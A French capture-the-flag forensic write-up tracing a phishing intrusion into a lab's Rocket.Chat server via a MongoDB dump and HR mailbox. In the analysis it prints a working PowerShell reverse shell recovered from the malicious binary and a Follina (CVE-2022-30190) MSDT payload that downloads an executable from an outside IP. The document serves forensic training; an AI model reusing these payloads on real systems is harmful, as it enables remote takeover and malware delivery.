IRBF attack

Charpentier A., De-Pontac C., Le Bohec R. , Miralves T., Naulin A., Rataud Q.

← IRBF attack · Conversation fatale / Mais d'ou?! / 3e étape : Exfiltration / Un furet dans le labo?

Conversation fatale

Le laboratoire IRBF a subi une fuite de données de recherche sur le darkweb, ils suspectent une intrusion via phishing sur leur système Rocket.Chat!

Le laboratoire a récemment été alerté que des données sensibles relatives à ses

travaux de recherche sont en vente sur le dark web. Suite à cette fuite

d'information, une équipe de forensic a été mandatée afin d’identifier l’origine

de l’intrusion.

Des activités anormales ont été détectées sur le système de communication

interne, **Rocket.Chat**, orientant les soupçons vers une possible attaque de

**phishing**. En réponse, la base de données complète de Rocket.Chat a été mise

à disposition de l’équipe forensic afin qu’elle puisse retracer les actions

suspectes et déterminer comment l’attaque a été menée.

Il est important de noter que le laboratoire collabore avec une entreprise

prestataire chargée de la gestion des déchets issus des expériences

scientifiques. Cette entreprise dispose d’un accès au RocketChat de l'IRBF afin

de faciliter la communication. Or, il a été signalé qu’un individu récemment

recruté par ce prestataire ne s’est jamais présenté sur son lieu de travail.

L’équipe cybersécurité considère donc l’hypothèse que cette identité pourrait

avoir été utilisée comme **vecteur d’attaque**, ce qui ferait de cette personne

un point d’entrée potentiel à l’origine de la fuite. Peut-être est-il rentré en

contact avec des membres du personnel plus vulnérables à des messages de

phishing comme les stagiaires?

Cote 11 pts

Faire son rapport

Pseudonyme de l'attaquant

À partir du cliché de la base de données fourni, on retrouve toutes les
personnes avec qui le stagiaire a discuté. On applique un filtre pour
trouver les fichiers qui ont été envoyés, puis, en lisant les discussions
correspondantes, on identifie une conversation suspecte qui aboutit à
l’envoi d’un fichier.

Localisation des messages

Toutes les collections du serveur mongodb utilisées par rocket chat ont été
exportées avec mongodump.
Ce cliché contient l'arborescence suivante:

├── dump
│   ├── admin
│   │   ├── system.version.bson
│   │   └── system.version.metadata.json
│   ├── config
│   │   ├── external_validation_keys.bson
│   │   ├── external_validation_keys.metadata.json
│   │   ├── image_collection.bson
│   │   ├── image_collection.metadata.json
│   │   ├── system.indexBuilds.bson
│   │   ├── system.indexBuilds.metadata.json
│   │   ├── system.preimages.bson
│   │   ├── system.preimages.metadata.json
│   │   ├── system.sessions.bson
│   │   ├── system.sessions.metadata.json
│   │   ├── tenantMigrationDonors.bson
│   │   ├── tenantMigrationDonors.metadata.json
│   │   ├── tenantMigrationRecipients.bson
│   │   ├── tenantMigrationRecipients.metadata.json
│   │   ├── transactions.bson
│   │   └── transactions.metadata.json
│   ├── local
│   │   ├── oplog.rs.metadata.json
│   │   ├── replset.election.bson
│   │   ├── replset.election.metadata.json
│   │   ├── replset.initialSyncId.bson
│   │   ├── replset.initialSyncId.metadata.json
│   │   ├── replset.minvalid.bson
│   │   ├── replset.minvalid.metadata.json
│   │   ├── replset.oplogTruncateAfterPoint.bson
│   │   ├── replset.oplogTruncateAfterPoint.metadata.json
│   │   ├── startup_log.bson
│   │   └── startup_log.metadata.json
│   └── parties
│       ├── _queue.bson
│       ├── _queue.metadata.json
│       ├── _raix_push_app_tokens.bson
│       ├── _raix_push_app_tokens.metadata.json
│       ├── instances.bson
│       ├── instances.metadata.json
│       ├── meteor_accounts_loginServiceConfiguration.bson
│       ├── meteor_accounts_loginServiceConfiguration.metadata.json
│       ├── meteor_oauth_pendingCredentials.bson
│       ├── meteor_oauth_pendingCredentials.metadata.json
│       ├── meteor_oauth_pendingRequestTokens.bson
│       ├── meteor_oauth_pendingRequestTokens.metadata.json
│       ├── migrations.bson
│       ├── migrations.metadata.json
│       ├── omnichannel_auto_close_on_hold_scheduler.bson
│       ├── omnichannel_auto_close_on_hold_scheduler.metadata.json
│       ├── omnichannel_queue_inactivity_monitor.bson
│       ├── omnichannel_queue_inactivity_monitor.metadata.json
│       ├── omnichannel_scheduler.bson
│       ├── omnichannel_scheduler.metadata.json
│       ├── pbx_events.bson
│       ├── pbx_events.metadata.json
│       ├── rocketchat__trash.bson
│       ├── rocketchat__trash.metadata.json
│       ├── rocketchat_analytics.bson
│       ├── rocketchat_analytics.metadata.json
│       ├── rocketchat_apps_persistence.bson
│       ├── rocketchat_apps_persistence.metadata.json
│       ├── rocketchat_apps_scheduler.bson
│       ├── rocketchat_apps_scheduler.metadata.json
│       ├── rocketchat_avatars.bson
│       ├── rocketchat_avatars.chunks.bson
│       ├── rocketchat_avatars.chunks.metadata.json
│       ├── rocketchat_avatars.files.bson
│       ├── rocketchat_avatars.files.metadata.json
│       ├── rocketchat_avatars.metadata.json
│       ├── rocketchat_banner.bson
│       ├── rocketchat_banner.metadata.json
│       ├── rocketchat_banner_dismiss.bson
│       ├── rocketchat_banner_dismiss.metadata.json
│       ├── rocketchat_calendar_event.bson
│       ├── rocketchat_calendar_event.metadata.json
│       ├── rocketchat_canned_response.bson
│       ├── rocketchat_canned_response.metadata.json
│       ├── rocketchat_credential_tokens.bson
│       ├── rocketchat_credential_tokens.metadata.json
│       ├── rocketchat_cron.bson
│       ├── rocketchat_cron.metadata.json
│       ├── rocketchat_cron_history.bson
│       ├── rocketchat_cron_history.metadata.json
│       ├── rocketchat_custom_emoji.bson
│       ├── rocketchat_custom_emoji.metadata.json
│       ├── rocketchat_custom_sounds.bson
│       ├── rocketchat_custom_sounds.metadata.json
│       ├── rocketchat_custom_user_status.bson
│       ├── rocketchat_custom_user_status.metadata.json
│       ├── rocketchat_email_inbox.bson
│       ├── rocketchat_email_inbox.metadata.json
│       ├── rocketchat_email_message_history.bson
│       ├── rocketchat_email_message_history.metadata.json
│       ├── rocketchat_export_operations.bson
│       ├── rocketchat_export_operations.metadata.json
│       ├── rocketchat_federation_keys.bson
│       ├── rocketchat_federation_keys.metadata.json
│       ├── rocketchat_federation_room_events.bson
│       ├── rocketchat_federation_room_events.metadata.json
│       ├── rocketchat_federation_servers.bson
│       ├── rocketchat_federation_servers.metadata.json
│       ├── rocketchat_freeswitch_calls.bson
│       ├── rocketchat_freeswitch_calls.metadata.json
│       ├── rocketchat_freeswitch_events.bson
│       ├── rocketchat_freeswitch_events.metadata.json
│       ├── rocketchat_import.bson
│       ├── rocketchat_import.metadata.json
│       ├── rocketchat_import_data.bson
│       ├── rocketchat_import_data.metadata.json
│       ├── rocketchat_integration_history.bson
│       ├── rocketchat_integration_history.metadata.json
│       ├── rocketchat_integrations.bson
│       ├── rocketchat_integrations.metadata.json
│       ├── rocketchat_livechat_agent_activity.bson
│       ├── rocketchat_livechat_agent_activity.metadata.json
│       ├── rocketchat_livechat_business_hours.bson
│       ├── rocketchat_livechat_business_hours.metadata.json
│       ├── rocketchat_livechat_contact.bson
│       ├── rocketchat_livechat_contact.metadata.json
│       ├── rocketchat_livechat_custom_field.bson
│       ├── rocketchat_livechat_custom_field.metadata.json
│       ├── rocketchat_livechat_department.bson
│       ├── rocketchat_livechat_department.metadata.json
│       ├── rocketchat_livechat_department_agents.bson
│       ├── rocketchat_livechat_department_agents.metadata.json
│       ├── rocketchat_livechat_inquiry.bson
│       ├── rocketchat_livechat_inquiry.metadata.json
│       ├── rocketchat_livechat_priority.bson
│       ├── rocketchat_livechat_priority.metadata.json
│       ├── rocketchat_livechat_tag.bson
│       ├── rocketchat_livechat_tag.metadata.json
│       ├── rocketchat_livechat_trigger.bson
│       ├── rocketchat_livechat_trigger.metadata.json
│       ├── rocketchat_livechat_unit_monitors.bson
│       ├── rocketchat_livechat_unit_monitors.metadata.json
│       ├── rocketchat_livechat_visitor.bson
│       ├── rocketchat_livechat_visitor.metadata.json
│       ├── rocketchat_matrix_bridged_rooms.bson
│       ├── rocketchat_matrix_bridged_rooms.metadata.json
│       ├── rocketchat_matrix_bridged_users.bson
│       ├── rocketchat_matrix_bridged_users.metadata.json
│       ├── rocketchat_message.bson
│       ├── rocketchat_message.metadata.json
│       ├── rocketchat_message_reads.bson
│       ├── rocketchat_message_reads.metadata.json
│       ├── rocketchat_moderation_reports.bson
│       ├── rocketchat_moderation_reports.metadata.json
│       ├── rocketchat_notification_queue.bson
│       ├── rocketchat_notification_queue.metadata.json
│       ├── rocketchat_nps.bson
│       ├── rocketchat_nps.metadata.json
│       ├── rocketchat_nps_vote.bson
│       ├── rocketchat_nps_vote.metadata.json
│       ├── rocketchat_oauth_access_tokens.bson
│       ├── rocketchat_oauth_access_tokens.metadata.json
│       ├── rocketchat_oauth_apps.bson
│       ├── rocketchat_oauth_apps.metadata.json
│       ├── rocketchat_oauth_auth_codes.bson
│       ├── rocketchat_oauth_auth_codes.metadata.json
│       ├── rocketchat_oauth_refresh_tokens.bson
│       ├── rocketchat_oauth_refresh_tokens.metadata.json
│       ├── rocketchat_oembed_cache.bson
│       ├── rocketchat_oembed_cache.metadata.json
│       ├── rocketchat_omnichannel_service_level_agreements.bson
│       ├── rocketchat_omnichannel_service_level_agreements.metadata.json
│       ├── rocketchat_permissions.bson
│       ├── rocketchat_permissions.metadata.json
│       ├── rocketchat_read_receipts.bson
│       ├── rocketchat_read_receipts.metadata.json
│       ├── rocketchat_roles.bson
│       ├── rocketchat_roles.metadata.json
│       ├── rocketchat_room.bson
│       ├── rocketchat_room.metadata.json
│       ├── rocketchat_server_events.bson
│       ├── rocketchat_server_events.metadata.json
│       ├── rocketchat_sessions.bson
│       ├── rocketchat_sessions.metadata.json
│       ├── rocketchat_settings.bson
│       ├── rocketchat_settings.metadata.json
│       ├── rocketchat_statistics.bson
│       ├── rocketchat_statistics.metadata.json
│       ├── rocketchat_subscription.bson
│       ├── rocketchat_subscription.metadata.json
│       ├── rocketchat_team.bson
│       ├── rocketchat_team.metadata.json
│       ├── rocketchat_team_member.bson
│       ├── rocketchat_team_member.metadata.json
│       ├── rocketchat_uploads.bson
│       ├── rocketchat_uploads.chunks.bson
│       ├── rocketchat_uploads.chunks.metadata.json
│       ├── rocketchat_uploads.files.bson
│       ├── rocketchat_uploads.files.metadata.json
│       ├── rocketchat_uploads.metadata.json
│       ├── rocketchat_user_data_files.bson
│       ├── rocketchat_user_data_files.metadata.json
│       ├── rocketchat_video_conference.bson
│       ├── rocketchat_video_conference.metadata.json
│       ├── rocketchat_webdav_accounts.bson
│       ├── rocketchat_webdav_accounts.metadata.json
│       ├── rocketchat_workspace_credentials.bson
│       ├── rocketchat_workspace_credentials.metadata.json
│       ├── users.bson
│       ├── users.metadata.json
│       ├── usersSessions.bson
│       └── usersSessions.metadata.json

Le stagiaire thomasdylan a reçu un fichier excel par message privé, de la
part de notre suspect.

L'outil bsondump peut être utilisé pour convertir les fichiers bson en json:

bsondump --outFile=messages.json rocketchat_message.bson
bsondump --outFile=uploads_chunks.json rocketchat_uploads.chunks.bson
bsondump --outFile=uploads_files.json rocketchat_uploads.files.bson

messages.json donne:

{
  "file": {
    "_id": "681107ba0eb2e377c2f6234e",
    "name": "extension_fol.zip",
    "type": "application/zip",
    "size": {
      "$numberInt": "23609"
    },
    "format": ""
  },
  "files": [
    {
      "_id": "681107ba0eb2e377c2f6234e",
      "name": "extension_fol.zip",
      "type": "application/zip",
      "size": {
        "$numberInt": "23609"
      },
      "format": ""
    }
  ],
  "attachments": [
    {
      "ts": "1970-01-01T00:00:00.000Z",
      "title": "extension_fol.zip",
      "title_link": "/file-upload/681107ba0eb2e377c2f6234e/extension_fol.zip",
      "title_link_download": true,
      "type": "file",
      "description": "",
      "format": "ZIP",
      "size": {
        "$numberInt": "23609"
      }
    }
  ],
  "u": {
    "_id": "zoqTaLq9S6z85jxx4",
    "username": "xxxxxxxxx",
    "name": "Jill Day"
  },
  "_updatedAt": {
    "$date": {
      "$numberLong": "1745946555426"
    }
  },
}

uploads_files.json donne:

{"_id":"681107ba0eb2e377c2f6234e","length":{"$numberInt":"23609"},"chunkSize":{"$numberInt":"261120"},"uploadDate":{"$date":{"$numberLong":"1745946554706"}},"filename":"681107ba0eb2e377c2f6234e","contentType":"application/zip"}

Le filename est identique à celui trouvé dans le message suspect.

Le champ _id correspond au files_id dans les blocs.

{"_id":{"$oid":"681107ba9a152746ae86ff96"},"files_id":"681107ba0eb2e377c2f6234e","n":{"$numberInt":"0"},"data":{"$binary":{"base64":"UEsDBBQAAAAAAGRQnVoAAAAAAAAAAAAAAAAOACAAZXh0ZW5zaW9uX2ZvbC91eAsAAQQAAAAABAAAAABVVA0AB00GEWiIBhFoDwERaF...

Le joueur découvre alors que le champ base64 est en réalité le contenu du
fichier encodé en base64.

On peut donc l'extraire dans un fichier zip:

#!/bin/bash
> orginal_attachment.zip base64 -d <<< UEsDBBQAAAAAAGRQnVoAAAAAAAAAAAAAAAAOACAAZXh0ZW...

Ce fichier contient le programme malveillant et l'extension web:

extension_fol
├── extension_fol               # extension web
│   ├── background.js
│   ├── icon128.png
│   ├── icon16.png
│   ├── icon48.png
│   ├── manifest.json
│   ├── popup.html
│   ├── popup.js
│   └── style.css
└── install_fol.exe             # binaire malveillant

Adresse IP de l'attaquant

À partir de la base de données, on retrouve le fichier qui a été envoyé par l'attaquant en
base64. Une fois décodé, on retrouve l'archive zip reçue. On peut en extraire une
application Windows et une extension pour Edge.

L'exécutable a été codé en powershell et empaqueté en un programme Windows.
Ghidra ou strings suffisent pour retrouver le code powershell original:
Reverse

Lorsque ce code est décodé en base64, on trouve l'IP de l'attaquant:

$client = New-Object System.Net.Sockets.TCPClient("XX.YY.Z.TT",44000)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (IEX $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Mail suspicieux

Étant donné le grand nombre de mails et de fichiers en objet, il est difficile de trouver le mail suspect par brute force.

Analyse des noms de domaine

Commencez par analyser les noms de domaine des adresses mail avec grep :

grep -Eoi '@[^.]+\\.[A-Za-z]+' emails_poste_ressources_humaines.mbox | sort | uniq -c

Vous obtenez la sortie suivante:

    187 @ficstreet.fr
     15 @free.fr
     77 @gmail.com
     26 @hotmail.com
     46 @laposte.net
     39 @orange.fr
     56 @outlook.com
      6 @proton.me
     38 @wanadoo.fr

Parmi tous les noms de domaine de mail, un nom ressort proton.me. C'est un service orienté sur l'anonymat donc suspect

Analysez ensuite les mails associés à ce serveur mail, toujours en utilisant grep:

grep -Eoi '.*@proton.me' emails_poste_ressources_humaines.mbox | sort | uniq -c

Vous obtenez la sortie suivante:

      2 From: Léa MARCHAND <lea.marchand@proton.me
      2 From lea.marchand@proton.me
      2 lea.marchand@proton.me

Un seul mail proton est utilisé celui de lea.marchand@proton.me

Analyse des mails de Léa Marchand

Pour visualiser les mails, deux options sont possibles:
- Les importer depuis Thunderbird avec l'extension : ImportExportTools NG
- Les ouvrir sur le site WEB: https://www.mbox-viewer.com/`

Cherchez jusqu'à trouver un mail de léa MARCHAND demandant d'éditer un fichier word .docx. Ce mail est celui comportant une pièce jointe vérolée.

Trouver l'IP serveur suspicieuse

Les fichiers avec l'extension .docx sont en fait des fichiers zip. Il suffit de les dézipper
et on obtient l'arborescence suivante:

├── [Content_Types].xml
├── docProps
├── media
├── _rels
└── word

Le fichier à regarder est word/_rels/document.xml.rels, il tente de charger un fichier oleObject depuis une source externe.

Trouver le nom de l'outil Windows exploité

Le fichier HTML (proprement indenté pour faciliter la lisibilité) chargé par le .docx est le suivant:

<script>
location.href = "ms-<Outil Windows Vulnérable>:
    /id PCWDiagnostic
    /skip force
    /param
        \"IT_RebrowseForFile=?
        IT_LaunchMethod=ContextMenu
        IT_BrowseForFile=$(
            Invoke-Expression(
                '[System.Text.Encoding]::UTF8.GetString(
                    [System.Convert]::FromBase64String(
                        "d2dldCBodHRwOi8vNjYuMTE1LjExNC40NC93b3JkLmV4ZQo="
                    )
                )'
            )
        )
    i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
</script>

Voici son fonctionnement:
- Le fichier HTML contient uniquement un bloc de script JS.
- Le script redirige vers une URL, il s'agit d'un appel à l'outil MSDT.
(Microsoft Support Diagnostic Tool) qui est l'outil de diagnostic de Microsoft (logiciel de confiance de Microsoft)
- L'outil MSDT est utilisé pour télécharger l'exécutable malveillant.
- Le logiciel est ensuite exécuté par mpsigstub.exe, qui est un programme de Microsoft (logiciel de confiance de Microsoft)

Donner la CVE associé a cette attaque

Avec tout le contexte donné dans l'exercice, une simple recherche Google avec
les mots clés suivants suffit: CVE, 2022, MSDT, Windows.
Les premiers résultats de recherche font référence à la CVE suivante: 2022-30190 appelée follina.

Bonus

Si vous utilisez clamscan sur le fichier .mbox, ce dernier trouvera directement la CVE dans les mails.